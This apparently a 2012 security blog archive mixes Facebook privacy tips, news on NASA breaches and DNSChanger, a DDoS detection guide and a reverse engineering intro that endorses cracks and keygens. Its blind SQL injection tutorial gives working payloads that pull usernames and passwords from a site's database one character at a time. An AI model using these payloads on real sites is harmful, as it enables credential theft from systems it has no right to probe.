With the ongoing rollout of Facebook's Timeline feature, security and privacy have never been more important to your digital life. The new layout presents all of your current and past activities on Facebook -- posts, photos, comments, likes and so on -- in a handy timeline format to anyone with access to your profile, which may include friends of friends, colleagues, executives at your company, a potential future boss ... well, you get the idea.

If you've made the jump to Timeline -- and if you haven't, you will within the next few weeks, like it or not -- you should know that Facebook has changed a few things, and there are certain settings you need to pay attention to if you're concerned about what parts of your life others can see. Here's how to lock down your profile in the post-Timeline world.

1. Limit your connections

Most key privacy settings are accessible by clicking the arrow in the upper right-hand corner of your profile screen (next to your name and the Home button). From here, select Privacy Settings in the drop-down menu.

Click on Edit Settings next to the How You Connect option to begin your profile lockdown. This section contains five privacy settings.

Limit who can find you, contact you and post to your timeline.

The first three settings govern who can look up your profile and see your contact information, who can friend you and who can send you messages. For maximum privacy, change the first and third settings to Friends, thereby preventing anyone else from looking up your profile or sending you messages.

The second setting governs who can send you Friend requests. The more secure choice is Friends of Friends, but it limits your connectivity on the world's largest social network. If you're worried about losing out on friendship opportunities, keep it set to Everyone.

The last two settings dictate who can post on your timeline and who sees those posts. Only Me is the safest option, but choosing it severely reduces the number of interactions Facebook offers. If you're seriously considering limiting your timeline posts to you and only you, it might be time to leave Facebook entirely.

Setting both of these options to Friends is relatively safe while still allowing the sharing that makes Facebook fun. And there is a way to review posts from friends before they appear on your timeline, as you'll see in the next section of the story.

2. Tailor your tags

An easily missed entry in the Privacy Settings is one innocuously labeled How Tags Work. However, it is essential to tweak the settings found here if you want to take control of your profile's privacy, as some tagging actions can be pretty invasive.

The first two settings (Timeline Review and Tag Review) are particularly useful. When you enable them, you can review posts and photos that friends tag you in, as well as the tags friends add to your own posts -- all before this information goes public. That's especially valuable if you have well-meaning friends who think tagging you in those Vegas party photos is a good idea.

Enabling Timeline Review lets you vet posts you're tagged in before they appear on your timeline.

The third setting, Maximum Timeline Visibility, should be set to Friends or customized for certain friend lists or networks to ensure that these tagged posts, once approved, aren't seen by everyone.

Disable the fourth setting on the list, Tag Suggestions. It makes it harder for friends to tag large quantities of photos featuring you or people that look like you. But it also takes some of your profile's privacy out of the hands of others.

The last setting on the list is seriously important: It determines whether or not friends can check you in to places. Turn it off. The only thing worse than constantly broadcasting your location is having someone else do it without your express permission.

3. Rein in app permissions

Speaking of permissions, the permission window that used to appear frequently when Facebook apps wanted to access your profile information is pretty much MIA now. Currently, apps need to ask you only once for permission. Once they do, they'll mine your profile information as often as need be, sometimes even when the app isn't being used.

Fortunately, there's a privacy fix. Unfortunately, it's not a quick one, since you'll have to tweak each app's settings individually.

In the main Privacy Settings, click on Edit Settings next to the Apps and Websites entry to bring up the Apps, Games and Websites privacy settings page. Next to "Apps you use," click on Edit Settings again to access a full list of apps running on your profile. Each app is accompanied by an Edit button, which displays the app's permissions when clicked. Each app has different permissions enabled, so you'll have to check each one individually.

Check each of your Facebook apps to see what permissions it demands.

Here's the bad news: Some permissions, such as sharing basic profile information with the app, cannot be altered. These are marked by the grayed-out word "Required" next to the particular permission.

Other settings, however, have the word "Remove" next to them -- click on it to remove any permission. These are the only items that can be changed, so you'll have to take a hard look at what permissions an app deems a necessity. If you don't like what you see, click "Remove app" at the top of the same page and learn to live without that app.

For the apps you do keep, it's important to control who sees the information that the apps share -- many of them are designed to broadcast your activities on your timeline and in the "ticker" on the right side of users' home pages. At the bottom of each app's permissions page is another important option entry titled "App activity privacy." Click on the drop-down menu and select Only Me to be sure your app activity isn't seen by anyone else.

Similarly, if you install any new apps, be sure to select Only Me under "Who can see activity from this app on Facebook" on the installation page.

4. Stop others from taking your information with them

The Apps, Games and Websites privacy settings also contain some other features that security hounds would be wise to disable.

Click on Edit Settings next to the entry labeled "How people bring your info to the apps they use." Other users may be able to bring your personal information with them when they use apps and websites. It's all in the interest of making things more social. It can also be invasive. Uncheck the box next to each information category listed (there are 17 of them) to prevent others from using your personal data.

Prevent others from using your personal information in apps and on other websites.

Head back to the Apps, Games and Websites privacy settings and click Edit Settings for the "Instant personalization" category. This option should be turned off by default, but check to make sure. You'll first see a pop-up screen explaining the feature; when you close that, you'll be able to see whether it's enabled. If it is, disable it. This will prevent Facebook partner sites from accessing your public information to personalize your experience on their own websites.

5. Reduce your social footprint

Sharing is the whole point of Facebook, but the Timeline layout sometimes takes this to extremes, making it easy for others to see all your activity from years gone by. The good news is that you can disable Recent Activity updates, which broadcast new friendships, groups you've joined and any other changes in your basic information (such as relationship status or political views). Just click on the X next to a Recent Activity update on your timeline and select Hide Similar Activity from Timeline.

This makes the process of hiding certain activities from your past a little easier. But here's the bad news: Individual status updates or posts from, say, your less judicious days need to be removed individually by clicking the pencil icon next to each item and choosing Hide from Timeline -- a process that could take you to the end of 2012 if you've ever been very active on Facebook.

There's a limited solution, though: In the main Privacy Settings window, the second-to-last entry on the list is titled Limit the Audience for Past Posts. Click on the Manage Past Post Visibility link next to it. A window will appear giving you the option to change all past posts so that they're visible only to friends. Click Limit Old Posts to do so.

That will at least prevent anyone other than people you've friended from seeing older items on your timeline. But considering that your boss, colleagues and other acquaintances may be among your Facebook friends, it's still a good idea to review your entire timeline and remove compromising status updates, comments, links and photos. Start with the oldest items first. When you first started using Facebook, you probably had fewer contacts and might have posted and commented with less caution than you've done more recently.

Limit your posts to friends -- or a select group of friends.

As a last precaution, make sure that everything you post on Facebook moving forward is shared only with friends, specific networks or friend lists: Click the drop-down box next to your status update, comment, link or other shared content and select Friends or a group. For even more granular control over who can and can't see a post, select the Custom option.

It bears mentioning that the last and best defense against digital privacy invasions is common sense. You may want to be a bit irreverent with your Facebook friends -- and there's nothing wrong with that. But ask yourself if you'd wave that questionable photo or say that pithy comment in front of someone who could affect your future hiring prospects. If not, think twice before you post it on Facebook.

Get a PenTest Magazine Issue 2

2012-03-14T00:03:00.000-07:00

Separating Fact from Fiction – The realities of Cyber War
By Don Eijndhoven
Cyber War. Two words that you’ll have heard in the news a few times by now. You’ll have heard it more and more over the last year or so. Maybe two or three years if you’ve been halfway interested or happened to be browsing on IT websites that cover cyber warfare. Especially if you’re living in the US, you’ll have heard some pretty fear-inducing stories. And not by just anybody; Richard Clarke himself has said that a Cyber War is the next big threat to national security. He was, of course, referring to the national security of the US, but his critique certainly holds water for other modernized nations. What may be surprising is that he was absolutely right, even though he may be understood poorly.

Multifactor Authentication – A Requirement for the 21st Century
By Robert Keeler
Logon credentials as the only method of granting access to today’s valuable data is far from an acceptable 21st century solution. There is no doubt that the lack of serious authentication for the last decade has created much of the opportunity for the theft of information which has led to identity theft becoming an epidemic. Other than granting initial access, there is no monitoring of a user’s true identity during transaction processing online. There is no forced logout when the user has completed their task. There is no security when Man-in-the-middle attacks can easily penetrate the weaknesses of simple logon credentials being the primary access control to vasts amounts of data.

Regulatory Compliance under the Indian Cyber Laws
by Sagar Rahurkar
The Information Technology Act, 2000 (IT Act) is the primary law in India governing “cyberspace”. It is in force from 17th October, 2000 and IT (amended) Act, 2008 is in force from 27th October, 2009 making significant changes in the original Act. Amendments for the first times have introduced the concept of “Regulatory compliance” under the law for the protection of “Sensitive personal information”.

Ride the Dragon: Testing the Desktop by adopting criminal tools and strategies
by Stefano MacGalia
A usual Pen Testing engagement limits its perimeter of action to exploit specific vulnerabilities identified during phases and, by collecting the results, it ends with a positive or negative occurrence that will be included in the final report by the tester.
This means that, by the Customer point of view, in case of a positive result: the presence and exploitability of a specific weakness, the corrective action will be suggested and probably enforced lately.

Social Engineering
by Falgun Rathod

What if someone ask you for a Password Will you give it? Yes / No You will say Obviously No but this is What I call Social Engineering. According to Wiki “Social Engineering is the act of manipulating people into performing actions or divulging confidential information, rather than by breaking in or using technical cracking techniques.”Social Engineering is not a new thing at all it’s the art of lie and to get confidential information to access/Hacked into System.

Benefits of Attribution
by Sayngeun Phouamkha
A good friend by the name of “J” once told me in my very early stages of learning IT Security that, ” The enemy of my enemy is my scapegoat.” Of course knowing nothing of IT Security or the different arenas/specialties of which this field encompasses I had to have him explain in depth and in very non-IT Security terms exactly what that meant and why it was important to know in this line of work.

Attacking POS: history, technique and a look to the future

When we talk about credit and debit card we should remember that this kind of payment was think and launched after the second war from American Express and the card as we know with magstripe was introduced in the market from 1979. Since the beginning of the ’90 years we’ve seen an increase in card fraud, before using the ATM terminals and subsequently affecting the Point of sale terminals (POS). Before talk about fraud we will try to understand how is composed a credit or debit card.

Click Here to Download - https://www.owasp.org/images/7/7b/PENTESTMAG2.pdf

Reverse Engineering Introduction

2012-03-08T23:27:00.002-08:00

What is Reverse Engineering?

Have you ever noticed, Nokia or Iphone made an application and after few days you find that on Samsung or any other mobile device. Its nothing that difficult, its called reverse engineering. They decode their programs to get the basic structure of the original program and then following the structure codes their own and sometimes doesn't even happen just make some code changes and uses them.

According to Wikipedia "Reverse engineering is the process of discovering the technological principles of a device, object or system through analysis of its structure, function and operation. It often involves taking something (e.g., a mechanical device, electronic component, biological, chemical or organic matter or software program) apart and analyzing its workings in detail to be used in maintenance, or to try to make a new device or program that does the same thing without using or simply duplicating (without understanding) the original".

Ahh.. more technology related. I will explain you in better way. As the name suggest reverse engineer means if have something already made, in computer field say exe installer file. Now what reverse engineering is, decoding the exe in such as fashion that we will get original source code or some what near to it. Consider an example, you have a wall made of bricks, here bricks are base material to build the wall. Now what we want to do is we want to obtain all the bricks from the wall. Similarly we have an executable or dll file and we know programs are made from coding only, so source codes are base material in building executable. So we want to obtain the source code from the executable or some what near to it. As when you break wall also to get the bricks some bricks are also got broken and that's all depend type of material used to fix or mend bricks to make the wall. Similarly the retrieval of source code from executable depends upon how securely software is being packed and type of cryptography or packer is used by its designer.

I hope now you have got what exactly reverse engineering is.

What is the use or benefit of Reverse Engineering?

I can guarantee most of internet users use cracks or keygens or patches. Have you ever tried to understand how they are made. Ahhh... I know you haven't. So let me give you clear information. All the keygens or cracks or patches of software's are made by technique called Reverse Engineering. Oops... I was going to tell the benefits.. what i am telling...negative features... But these are features of reverse engineering my friends and most commonly used by all famous organizations as its a part of their Program promoting methodolgy.

Other Beneficial Uses of Reverse Engineering:

Product analysis: To examine how a product works
Removal of copy protection, circumvention of access restrictions.
Security auditing.
Extremely useful when you lost documentation.
Academic/learning purposes.
Competitive technical intelligence (understand what your competitor is actually doing, versus what they say they are doing).
Last but not the least..Learning: learn from others' mistakes. Do not make the same mistakes that others have already made and subsequently corrected.

Common Terms Used in Reverse Engineering:

1. Debugger

2. Deassembler

3. Decompiler

4. Packers or Unpackers

5. Program Obfuscation

6. Hex Editing

7. Cryptography

I will explain these terms in detail in my next article. Till then you can explore these topics on internet so that you will have some prior knowledge of Reverse Engineering terms.

Note: Please use this Knowledge for your better understanding of Reverse Engineering and Study not to HARM anyone.

Me on Cover Page of International Security Magazine PenTest based in Europe

2012-03-08T06:06:00.000-08:00

Falgun Rathod featured on Cover Page of PenTest Magazine

Social Engineering

What if someone ask you for a Password Will you give it? Yes / No You will say Obviously No but this is What I call Social Engineering. According to Wiki “Social Engineering is the act of manipulating people into performing actions or divulging confidential information, rather than by breaking in or using technical cracking techniques.”Social Engineering is not a new thing at all it’s the art of lie and to get confidential information to access/Hacked into System.

by Falgun Rathod

for more - http://pentestmag.com/auditingpentesting-standards-0212/

This is Beginning lots more to come :) ......

NASA Hacked 13 times last Year

2012-03-04T21:13:00.001-08:00

'Unencrypted notebook computers that have been lost or stolen include ones containing codes for controlling the International Space Station as well as sensitive data on NASA's Constellation and Orion programs and Social Security numbers'

NASA said hackers broke into its computer systems 13 times last year, stealing employee credentials and gaining access to mission-critical projects in breaches that could compromise U.S. national security.

The National Aeronautics and Space Administration spends only $58 million of its $1.5 billion annual IT budget on cyber security, Paul Martin, the agency's inspector general, told a Congressional panel on NASA security earlier this week.

"Some NASA systems house sensitive information which, if lost or stolen, could result in significant financial loss, adversely affect national security, or significantly impair our nation's competitive technological advantage," Martin said in testimony before the U.S. House Committee on Science, Space and Technology, released on Wednesday. (bit.ly/yQFSB8)

He said the agency discovered in November that hackers working through a Chinese-based IP address broke into the network of NASA's Jet Propulsion Laboratory.

He said they gained full system access, which allowed them to modify, copy, or delete sensitive files, create user accounts for mission-critical JPL systems and upload hacking tools to steal user credentials and compromise other NASA systems. They were also able to modify system logs to conceal their actions, he said.

"Our review disclosed that the intruders had compromised the accounts of the most privileged JPL users, giving the intruders access to most of JPL's networks," he said.

In another attack last year, intruders stole credentials for accessing NASA systems from more than 150 employees.

Martin said the agency has moved too slowly to encrypt or scramble the data on its laptop computers to protect information from falling into the wrong hands.

Unencrypted notebook computers that have been lost or stolen include ones containing codes for controlling the International Space Station as well as sensitive data on NASA's Constellation and Orion programs and Social Security numbers, Martin said.

Source - Reuters

Understanding DDOS Attack

2012-02-25T09:06:00.001-08:00

What is DDos Attack ?

Compromised PCs, or “bots,” are formed into groups called “botnets” and are used as weapons by cyber-attackers to launch various forms of cyber attacks. These attacks range widely from DDoS to identity theft and clandestine intelligence gathering operations.
During Distributed Denial of Service attempts, attackers launch attacks using different techniques including HTTP, HTTPS, ICMP, SYN Floods, UDP Floods, DNS Request Floods, GET Floods, and others. The attack components are often used in combination, and range in size from a few hundred megabits per second (Mbps) to over 80 gigabits per second (Gbps). Increasingly sophisticated attacks are based around application requests at Layer-7.

Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher ie the person/machine behind all this,sound’s COOL right . The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.

How do they Do it ?

DDOS is done in 2 phases. In the first phase they try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.

What Allowed them to Do ?

Vulnerable softwares/Applications running on a machine or network.
Open network setup.
Network/ machine setup without taking security into account.
No monitoring or DataAnalysis are being conducted.
No regular Audit / Software upgrades being conducted.

First Identify if you are really under attack. If yes, follow the below steps :

Check if your machines load is high and you have large number of HTTP process running.

To find the load just use the command w or uptime -

–

Eg:

falgun@localhost>w 12:00:36 up 1 day, 20:27, 5 users, load average: 0.70, 0.70, 0.57

USER XYZ FROM LOGIN@ IDLE JCPU PCPU WHAT

–

To find if there is large number of HTTP process running use the command ” ps -aux|grep HTTP|wc -l ”

–

Eg:

[falgun@localhost]# ps -aux|grep HTTP|wc -l

23

–

In a heavy server , the number of connection will go above 100. But during DDOS attack, the number will go even higher and thats when we need to find out from which all networks are these attacks coming. In DDOS the host machine doesn’t have much importance. Its the network which is of importance here because, an attacker will use any machine on the compromised network or even will use all the machines in the network. Hence network address is of importance while fighting with the attack.

However, there are some actions you can take to protect yourself. Here's some basic advice:

Ensure that you have adequate bandwidth on your Internet connection. You'll be able to foil many low-scale DDoS attacks by simply having enough bandwidth (and processing power) to service the requests.
Deploy an intrusion prevention system on your network. Some (but definitely not all) DDoS attacks have recognizable signatures that an IPS can detect and use to prevent the requests from reaching the Web server.
Use a DDoS prevention appliance, including any of the Cisco Systems Inc. Cisco Guard products, that is specifically designed to identify and thwart distributed denial-of-service attacks.
Maintain a backup Internet connection with a separate pool of IP addresses for critical users. While you won't be able to switch all access to your website over to a backup connection (the attacks will switch at the same time!), you can provide critical users with an alternate path to your site if the primary circuit is swamped with bogus requests.

These tips should get you started on the road toward building a hardy Web infrastructure with the highest probability of surviving a DDoS attack. Good luck!

Small Coding Mistake Lead to an Internet Voting System Failure

2012-02-24T19:40:00.000-08:00

The main security weakness that let University of Michigan researchers take control over a planned city of Washington, D.C. Internet voting system pilot for overseas voters in 2010 was "a tiny oversight in a single line of code," the researchers say in a new paper (.pdf) detailing their exploits. City officials canceled the pilot shortly before the November election after the hack was revealed.

It's evidence, say the researchers--led by Assistant Professor J. Alex Halderman--that Internet voting should be postponed until, when or if major new breakthroughs in cybersecurity occur. Mistakes like the one they exploited are all too common, hard to eradicate, and indicative of a brittleness in web applications, they say. Seemingly trivial errors can result in attackers gaining system dominance--and in the case of an internet voting system, controlling the outcome of an election.

Responding to a call by Washington, D.C., election officials for outsiders with no previous access to test system security, Halderman and his students penetrated the pilot system within 48 hours of it going online. Their successful attack went undetected for another 36 hours, they say, despite the fact that they left a calling card in the form of having the vote confirmation screen to play the University of Michigan fight song after 15 seconds. Even then, the detection didn't occur because D.C. officials spotted anomalies in intrusion detection system logs, or even stumbled on the fight song itself, but because someone on a mailing list monitored by the city asked, "does anyone know what tune they play for successful voters?"

The main exploit researchers used was a shell-injection vulnerability done by uploading a fake ballot with a command function as the file extension. The file uploader plugin D.C. election officials used preserved the file extension and the command line interpreter executed the command, the paper says.

Attackers also found that a system firewall filtered outbound network traffic, but that they could steal data by sending files to the images directory on the compromised server and retrieving it with any HTTP client.

Once inside the application server, they retrieved the public key for encrypting ballots, proceeding to replace all encrypted stored ballot files with forged votes. They also modified the system so that new ballots were sent to a subfolder in the images directory and the new originals replaced with more forgeries.

They also managed to violate the secrecy of balloting, the paper says, since before ballots were encrypted, the file uploader placed them in a temporary directory. But, the web application didn't delete the unencrypted ballots. The files did not contain a voter's identification, but did display the precinct and time of voting, letting researchers compare them to server application logs and associate them with people's identities.

In maybe the greatest oversight of city officials, researchers also found in the temporary director a 937 page .pdf document containing real voters' credentials for using the system, meaning that attackers could have cast votes as those citizens in the real election.

"One small mistake in the configuration or implementation of the central voting servers or their surrounding network infrastructure can easily undermine the legitimacy of the entire election" they conclude.

For more:
- download the paper from J. Alex Halderman's website (.pdf)
Source - http://www.fiercegovernmentit.com/story/small-coding-mistake-led-big-internet-voting-system-failure/2012-02-22 -

Blind SQL Injection Tutorial Illustrated

2012-02-23T10:01:00.001-08:00

Blind injection is a little more complicated the classic injection but it can be done :D

It's some what hard but good to Learn

1) http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack

2) http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.now the real test

3) http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :)

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names.This is part when guessing is the best friend for Hacker ...

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.

if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e.

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR :D

Hope You Learned alot from this and This is just for Educational Purpose.

Fake Access Point .... Pawning The System Part 1

2012-02-23T09:45:00.003-08:00

A Very good video that i want to share with you guys its really interesting :) Just Enjoy making a Fake Access Point.
I got many mails and msg to post something related to Ethical Hacking and Cyber Security.

Requirements - BackTrack PenTest OS (download it from www.backtrack-linux.org )

AI - Artificial Intelligence an approach

2012-02-22T10:16:00.000-08:00

WHAT IS ARTIFICIAL INTELLIGENCE?

Artificial Intelligence (AI) is the study and creation of computer systems that can perceive, reason and act. The primary aim of AI is to produce intelligent machines. The intelligence should be exhibited by thinking, making decisions, solving problems, more importantly by learning. AI is an interdisciplinary field that requires knowledge in computer science, linguistics, psychology, biology, philosopy and so on for serious research.

STRONG ARTIFICIAL INTELLIGENCE

It deals with creation of real intelligence artificially. Strong AI believes that machines can be made sentient or self-aware. There are two types of strong AI: Human-like AI, in which the computer program thinks and reasons to the level of human-being. Non-human-like AI, in which the computer program develops a non-human way of thinking and reasoning.

WEAK ARTIFICIAL INTELLIGENCE

Weak AI does not believe that creating human-level intelligence in machines is possible but AI techniques can be developed to solve many real-life problems.

AI AND NATURE

Nowadays AI techniques developed with the inspiration from nature is becoming popular. A new area of research what is known as Nature Inspired Computing is emerging. Biological inspired AI approaches such as neural networks and genetic algorithms are already in place.

CHALLENGES

It is true that AI does not yet achieve its ultimate goal. Still AI systems could not defeat even a three year old child on many counts: ability to recognize and remember different objects, adapt to new situations, understand and generate human languages, and so on. The main problem is that we, still could not understand how human mind works, how we learn new things, especially how we learn languages and reproduce them properly.

APPLICATIONS

There are many AI applications that we witness: Robotics, Machine translators, chatbots, voice recognizers to name a few. AI tehniques are used to solve many real life problems. Some kind of robots are helping to find land-mines, searching humans trapped in rubbles due to natural calamities.

FUTURE OF AI

AI is the best field for dreamers to play around. It must be evolved from the thought that making a human-machine is possible. Though many conclude that this is not possible, there is still a lot of research going on in this field to attain the final objective. There are inherent advantages of using computers as they do not get tired or loosing temper and are becoming faster and faster. Only time will say what will be the future of AI: will it attain human-level or above human-level intelligence or not.

This is just an Basic Concept that i want discuss with you guys for more resources

www.jair.org
http://www-formal.stanford.edu/jmc/whatisai/

Six Strategies for Partnering with Big Brands

2012-02-20T18:48:00.000-08:00

Many of You People thinking That how to become a partner of Big Brands as it helps us alot to get a value and status in the Market.Same Study We are going to Discuss n this post.

The Trenton, N.J.-based company's first big partnership with Wal-Mart in Canada was just the start of what has become a $14 million business. TerraCycle now gathers unrecyclable trash and converts it into products and packaging for such big brands as Kraft, Pepsi and Mars. Last year, corporate partners spent $45 million on TerraCycle-related marketing--far more than Szaky could have ever done alone.

But breaking in with big companies is no easy feat. For Szaky, it took lots of research, persistence and trial and error. "The biggest mistake small companies make is they don't do enough homework," says Brant Slade, co-author of Think BIG!: An Entrepreneur's Guide to Partnering With Large Companies (Course Technology PTR, 2009). "They think … more from the small business point of view as opposed to thinking from the large business point of view.

Here's a checklist to help your small business prepare to partner with big brands:

1. Be unique. Make sure your business pitch is carefully thought out and offers value to your potential partner. After Robin Thurston co-founded MapMyFITNESS.com, an Austin, Texas-based fitness social network that offers online routes, training and group activities, he and his partner realized they had developed a geo-location technology that bigger companies wanting online fitness tools and access to a social network could use. With their first corporate partner, Cadbury's Accelorade sports drink, they collaborated on a web interface enabling users on their site to map and share workouts. "You have to have something that is clearly valuable to that big brand that they might not want to spend the time investing in or doing," Thurston says. Now, the company also builds web platforms and mobile phone apps for brands like NBC Sports, Humana and Skechers, whose customers can opt into the MapMyFITNESS social network.

2. Remain persistent. Although Szaky had the worm-excrement-in-a-recycled-bottle market cornered, getting that first deal with Wal-Mart in 2005 still required persistence. After scouring LinkedIn and alumni networks to find the right contact, Szaky called Wal-Mart 10 times a day, every day for three weeks until he finally got through and set up a meeting. Big companies field lots of requests, so persistence is a must. "There are some brands we are working with today that literally were five-year conversations," Thurston says.

4. Plan for fast growth. If you're growing too quickly to keep up with demand, you'll lose money--and probably your partner. Szaky learned that lesson through experience. "The more we grew, the more we lost," he says. While TerraCycle's sales reached $6.6 million in 2008, it had a net loss of $4.5 million. The next year, Szaky began developing agreements with companies to handle production for him. Today, 40 companies make and sell TerraCycle products for major retailers and TerraCycle turned a profit of $100,000 in the last year.3. Think big. You have to think like a big brand to partner with one. For MapMyFITNESS, that means developing large-scale projects. "A big brand doesn't want to talk about a $10,000 project," Thurston says. "They want to talk in seven figures and really big user numbers." For example, Thurston and his partner proposed that big companies give away their product with subscriptions to the MapMyFITNESS website. The size of their user base--nearly seven million today--was large enough to interest brands like Procter & Gamble's Febreze.

Polka Dog Bakery, a Boston-based dog treat maker slated to expand into 1,763 Target stores this May, let the retailer oversee production and distribution in order to make the partnership feasible. "It would have been too much for us to expand at that capacity," says cofounder Robert Van Sickle of his 11-person company.

5. Prepare for scrutiny. Make sure your financial and legal affairs are in order. Since TerraCycle works with multinational companies, the company gets audited every two months. After failing the first few audits in his early partnerships, Szaky realized he needed to focus more on developing proper procedures. "If you are going to go down the path of working in big businesses, having your house in order is critical," he says. "You are going to get the growth but you are also going to get a lot more scrutiny."

6. Build on existing partnerships. Don't rush to find the next partner once you successfully link up with a big company. MapMyFITNESS gets a lot of new business from expanding existing partnerships, Thurston says. Companies are often more willing to consider developing a licensing partnership, for example, if they're already buying advertising on your website. "Too many entrepreneurs chase after the next client instead of recognizing the current client could mean a lot more revenue for them if they simply explore other revenue channels," Thurston says. Partnerships now account for a third of his company's total revenue.

Hope Your Business will goes Well :) God Bless You

8th March Internet is going to be ShutDown ?

2012-02-20T05:10:00.000-08:00

Security firm Internet Identity has revealed that more than half of all Fortune 500 companies and major U.S. federal agencies are infected with malware called DNSChanger. The company discovered that as of early January a minimum of 250 Fortune 500 companies had one or more computer or router infected with the malware, as did 27 out of 55 federal agencies. On November 9th The FBI annonced the arrest of six Estonian nationals in relation to DNSChanger, which was believed to have infected approximately four million computers globally — including 500,000 in the United States — and generated close to $14 million in illicit advertising money. According to the FBI, DNSChanger affected computers in two ways, both of which generated advertising revenue: click hijacking, in which users would click on a search result link and be re-routed to another site, producing per-click advertising payouts; as well as advertising replacement fraud, which would replace legitimate ads on a website with substitutes that would trigger payments.

During the arrests — known as Operation Ghost Click — the FBI seized a number of computer systems that were being used as rogue DNS servers. These weren't shut down but instead replaced with legitimate servers, however the legitimate servers were only a temporary solution put in place for 120 days, after which point the "internet may literally go dark" for the remaining infected computers, according to Internet Identity. There are reportedly still "millions" of PCs infected with the malware that could potentially go dark on March 8th if the FBI doesn't secure an extension for the replacement DNS servers.

A group called the DNS Changer Working Group — "an ad hoc group of subject matter experts" that consists of organizations like Georgia Tech, the University of Alabama at Birmingham, Trend Micro, Neustar, and more — is offering to identify infected IP addresses for free. The group's site offers tips on checking for DNSChanger on OSX, XP, Windows 7, and home routers, while larger organizations can email the group to see if any one of their network is infected.

Source - http://www.theverge.com/2012/2/17/2806752/dnschanger-malware-fortune-500-federal-agencies